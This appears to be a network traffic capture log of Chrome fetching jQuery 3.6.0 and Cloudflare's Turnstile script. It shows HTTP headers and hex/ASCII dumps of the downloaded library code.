2024-12-24 14:06:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 24 Dec 2024 14:06:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49762	151.101.66.137	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:31 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:31 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 533717 Date: Tue, 24 Dec 2024 14:06:31 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740061-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1735049191.362996,VS0,VE1 Vary: Accept-Encoding
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-24 14:06:31 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49763	104.18.95.41	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:32 UTC	383	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:33 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f71270f6be70f42-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 29 29 3b 76 61 72 20 50 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 2c 65 2e 4c 49 47 48 54 3d 22 6c 69 67 68 74 22 2c 65 2e 44 41 52 4b 3d 22 64 61 72 6b 22 7d 29 28 50 65 7c 7c 28 50 65 3d 7b 7d 29 29 3b 76 61 72 20 53 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 5f 4f 56 45 52 52 55 4e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 41 49 4c 55 52 45 5f 57 4f 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 3d 22 66 61 69 Data Ascii: ));var Pe;(function(e){e.AUTO="auto",e.LIGHT="light",e.DARK="dark"})(Pe\|\|(Pe={}));var Se;(function(e){e.VERIFYING="verifying",e.VERIFYING_HAVING_TROUBLES="verifying-having-troubles",e.VERIFYING_OVERRUN="verifying-overrun",e.FAILURE_WO_HAVING_TROUBLES="fai
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 49 4e 47 3d 22 6b 65 65 70 73 2d 6c 6f 6f 70 69 6e 67 22 2c 65 2e 54 4f 4f 5f 53 4c 4f 57 3d 22 74 6f 6f 2d 73 6c 6f 77 22 2c 65 2e 4f 54 48 45 52 3d 22 6f 74 68 65 72 22 7d 29 28 69 74 7c 7c 28 69 74 3d 7b 7d 29 29 3b 76 61 72 20 57 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 46 41 49 4c 55 52 45 3d 22 66 61 69 6c 75 72 65 22 2c 65 2e 56 45 52 49 46 59 49 4e 47 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 4f 56 45 52 52 55 4e 4e 49 4e 47 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 55 53 54 4f 4d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 57 65 7c 7c 28 57 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 72 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 65 29 7b 72 Data Ascii: ING="keeps-looping",e.TOO_SLOW="too-slow",e.OTHER="other"})(it\|\|(it={}));var We;(function(e){e.FAILURE="failure",e.VERIFYING="verifying",e.OVERRUNNING="overrunning",e.CUSTOM="custom"})(We\|\|(We={}));function M(e,r){return e.indexOf(r)!==-1}function ot(e){r
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 76 61 72 20 48 65 3d 22 63 66 2d 63 68 6c 2d 77 69 64 67 65 74 2d 22 2c 56 3d 22 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 5a 74 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 65 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 74 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 5f 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 62 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 45 74 3d 22 67 2d 72 65 63 61 70 Data Ascii: el",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}var He="cf-chl-widget-",V="cloudflare-challenge",Zt=".cf-turnstile",er=".cf-challenge",tr=".g-recaptcha",_t="cf_challenge_response",bt="cf-turnstile-response",Et="g-recap
2024-12-24 14:06:33 UTC	1369	IN	Data Raw: 65 78 69 73 74 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6f 3f 4d 72 28 7b 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3a 6c 2c 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 3a 67 2c 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 3a 63 7d 29 3a 63 26 26 67 3f 22 35 32 30 70 78 22 3a 63 26 26 6c 3f 22 35 30 30 70 78 22 3a 63 3f 22 34 38 30 70 78 22 3a 67 3f 22 35 38 30 70 78 22 3a 22 35 37 30 70 78 22 7d 2c 4d 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 6e 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 6e 26 26 72 3f 22 35 34 30 70 78 22 3a 6e 26 26 6f 3f Data Ascii: existent");return o?Mr({isModeratelyVerbose:l,isVerboseLanguage:g,isSmallerFeedback:c}):c&&g?"520px":c&&l?"500px":c?"480px":g?"580px":"570px"},Mr=function(e){var r=e.isVerboseLanguage,n=e.isSmallerFeedback,o=e.isModeratelyVerbose;return n&&r?"540px":n&&o?
